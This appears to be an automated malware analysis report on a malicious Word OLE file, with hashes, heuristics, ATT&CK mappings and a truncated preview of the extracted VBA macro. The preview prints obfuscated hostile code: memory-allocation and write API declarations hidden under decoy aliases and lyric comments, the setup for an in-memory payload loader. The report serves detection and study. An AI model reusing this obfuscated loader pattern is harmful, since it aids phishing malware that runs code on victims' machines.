Office (OLE) malware analysis — malicious · a078e7c679aba644

MALICIOUS

Office (OLE)

236.0 KB Created: 2017-08-24 11:32:00 Authoring application: Microsoft Office Word First seen: 2019-12-10

MD5: 5a707f5f18c8266585683b37ddfd757f SHA-1: 808b4fa5dfd567515be58e28cf50ad18c2f918c8 SHA-256: a078e7c679aba644b453a769a897bb5a5fbe3fbde4eaa1f169e10aa0aa5ea014

62 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document with a high slack anomaly and detected VBA macros. The VBA macros contain numerous API declarations, including functions like NtWriteVirtualMemory and NtAllocateVirtualMemory, suggesting an attempt to write and allocate memory, likely for executing a downloaded payload. The presence of these API calls and the overall structure indicate a downloader or droppper functionality.

Heuristics 3

OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY

OLE file is 241,664 bytes but its declared streams total only 135,120 bytes — 106,544 bytes (44%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8328 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8328 bytes
SHA-256: `0005cb8e26a03682c89b5c99f057625fed4ebcf174cd414ed2c500596a08c0fc`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "natty" Attribute VB_Base = "0{2470A40B-150E-456D-B554-C97FC150259B}{2942E755-0342-4E04-8BF7-1748367EB4AA}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "worksheet" ' Then you rolled in with your hair in the wind ' And hit me like a hurricane #If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then ' You wrecked my whole world when you came ' From the moment when Public Declare PtrSafe Function adduce Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal boorish As Any, acclivous As Any, legged As Any, genocide As Any) As LongPtr ' You wrecked my whole world when you came ' And hit me like a hurricane Public Declare PtrSafe Function cycliophora Lib "ntdll.dll " Alias "AcquireSRWLockShared" (many As Any) As LongPtr ' The moon went hiding, stars quit shining ' But you rolled in with your hair in the wind Public Declare PtrSafe Function linelike Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal polyneuritis As Any, ByVal bike As Any, ByVal amazing As Any, ByVal frock As Any, ByVal laureate As Any) As LongPtr ' I wouldnt be in my truck ' Then you rolled in with your hair in the wind Public Declare PtrSafe Function hora Lib "ntdll.dll " Alias _ "NtAllocateVirtualMemory" (collection As LongPtr, chapman As LongPtr, ByVal dragon As LongPtr, petitionByVal As LongPtr, cobol As LongPtr, ByVal innovative As LongPtr) As LongPtr ' Baby, without warning ' Hit me like a hurricane Public Declare PtrSafe Function anothers Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal antimonic As Any, divertissement As Any, molten As Any, daubing As Any) As LongPtr ' And walked out ' But just your sight had my heart storming Public Declare PtrSafe Function avi Lib "Kernel32" Alias "CreateTimerQueueTimer" (react As Any, ByVal sunroof As Any, ByVal quil As Any, ByVal cestrum As Any, ByVal cephalothin As Any, ByVal lukewarmness As Any, ByVal cameo As Any) As Long ' The moon went hiding, stars quit shining ' Rain was driving, thunder, lightning ' You wrecked my whole world when you came ' You wrecked my whole world when you came #End If ' Baby, without warning ' Hit me like a hurricane #If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then ' I wouldnt be in my truck ' Started talking bout us again Public Declare Function hora Lib "Ntdll.dll " Alias _ "NtAllocateVirtualMemory" (ouguiya As Long, leopards As Long, ByVal heirloom As Long, obliviousneddByVal As Long, calvaria As Long, ByVal antennal As Long) As Long ' You wrecked my whole world when you came ' The moon went hiding, stars quit shining Public Declare Function avi Lib "Kernel32" Alias "CreateTimerQueueTimer" (potvaliant As Any, ByVal bocca As Any, ByVal actiniopteris As Any, ByVal marrowbones As Any, ByVal arroyo As Any, ByVal areolar As Any, ByVal mono As Any) As Long ' We locked eyes over whiskey on ice ' And walked out Public Declare Function linelike Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal slovenia As Any, ByVal interestingly As Any, ByVal sanctify As Any, ByVal grumpy As Any, ByVal profanatory As Any) As Long ' Rain was driving, thunder, lightning ' And walked out Public Declare Function chopped Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal palpus As Any, chaise As Any, lodgment As Any, animating As Any) As Long ' Hit me like a hurricane ' I was doing alright Public Declare Function nescient Lib "ntdll.dll " Alias "AcquireSRWLockShared" (mesne As Any) As Long ' I was doing alright ' Baby, without warning Public Declare Function updating Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal carpobrotus As Any, marmalade As Any, symplocarpus As Any, ketonemia As Any) As Long ' You wrecked my whole world when you came ' You wrecked my whole world when you came ' We locked eyes over whiskey on ice ' Driving us to your h ... (truncated)

SHA-256: 0005cb8e26a03682c89b5c99f057625fed4ebcf174cd414ed2c500596a08c0fc

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "natty"
Attribute VB_Base = "0{2470A40B-150E-456D-B554-C97FC150259B}{2942E755-0342-4E04-8BF7-1748367EB4AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "worksheet"
'  Then you rolled in with your hair in the wind
'  And hit me like a hurricane
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
'  You wrecked my whole world when you came
'  From the moment when
Public Declare PtrSafe Function adduce Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal boorish As Any, acclivous As Any, legged As Any, genocide As Any) As LongPtr
'  You wrecked my whole world when you came
'  And hit me like a hurricane
Public Declare PtrSafe Function cycliophora Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (many As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  But you rolled in with your hair in the wind
Public Declare PtrSafe Function linelike Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal polyneuritis As Any, ByVal bike As Any, ByVal amazing As Any, ByVal frock As Any, ByVal laureate As Any) As LongPtr
'  I wouldnt be in my truck
'  Then you rolled in with your hair in the wind
Public Declare PtrSafe Function hora Lib "ntdll.dll  " Alias _
   "NtAllocateVirtualMemory" (collection As LongPtr, chapman As LongPtr, ByVal dragon As LongPtr, petitionByVal As LongPtr, cobol As LongPtr, ByVal innovative As LongPtr) As LongPtr
'  Baby, without warning
'  Hit me like a hurricane
Public Declare PtrSafe Function anothers Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal antimonic As Any, divertissement As Any, molten As Any, daubing As Any) As LongPtr
'  And walked out
'  But just your sight had my heart storming
Public Declare PtrSafe Function avi Lib "Kernel32" Alias "CreateTimerQueueTimer" (react As Any, ByVal sunroof As Any, ByVal quil As Any, ByVal cestrum As Any, ByVal cephalothin As Any, ByVal lukewarmness As Any, ByVal cameo As Any) As Long
'  The moon went hiding, stars quit shining
'  Rain was driving, thunder, lightning

'  You wrecked my whole world when you came
'  You wrecked my whole world when you came
#End If
'  Baby, without warning
'  Hit me like a hurricane
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
'  I wouldnt be in my truck
'  Started talking bout us again
Public Declare Function hora Lib "Ntdll.dll " Alias _
       "NtAllocateVirtualMemory" (ouguiya As Long, leopards As Long, ByVal heirloom As Long, obliviousneddByVal As Long, calvaria As Long, ByVal antennal As Long) As Long
'  You wrecked my whole world when you came
'  The moon went hiding, stars quit shining
Public Declare Function avi Lib "Kernel32" Alias "CreateTimerQueueTimer" (potvaliant As Any, ByVal bocca As Any, ByVal actiniopteris As Any, ByVal marrowbones As Any, ByVal arroyo As Any, ByVal areolar As Any, ByVal mono As Any) As Long
'  We locked eyes over whiskey on ice
'  And walked out
Public Declare Function linelike Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal slovenia As Any, ByVal interestingly As Any, ByVal sanctify As Any, ByVal grumpy As Any, ByVal profanatory As Any) As Long
'  Rain was driving, thunder, lightning
'  And walked out
Public Declare Function chopped Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal palpus As Any, chaise As Any, lodgment As Any, animating As Any) As Long
'  Hit me like a hurricane
'  I was doing alright
Public Declare Function nescient Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (mesne As Any) As Long
'  I was doing alright
'  Baby, without warning
Public Declare Function updating Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal carpobrotus As Any, marmalade As Any, symplocarpus As Any, ketonemia As Any) As Long
'  You wrecked my whole world when you came
'  You wrecked my whole world when you came

'  We locked eyes over whiskey on ice
'  Driving us to your h
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.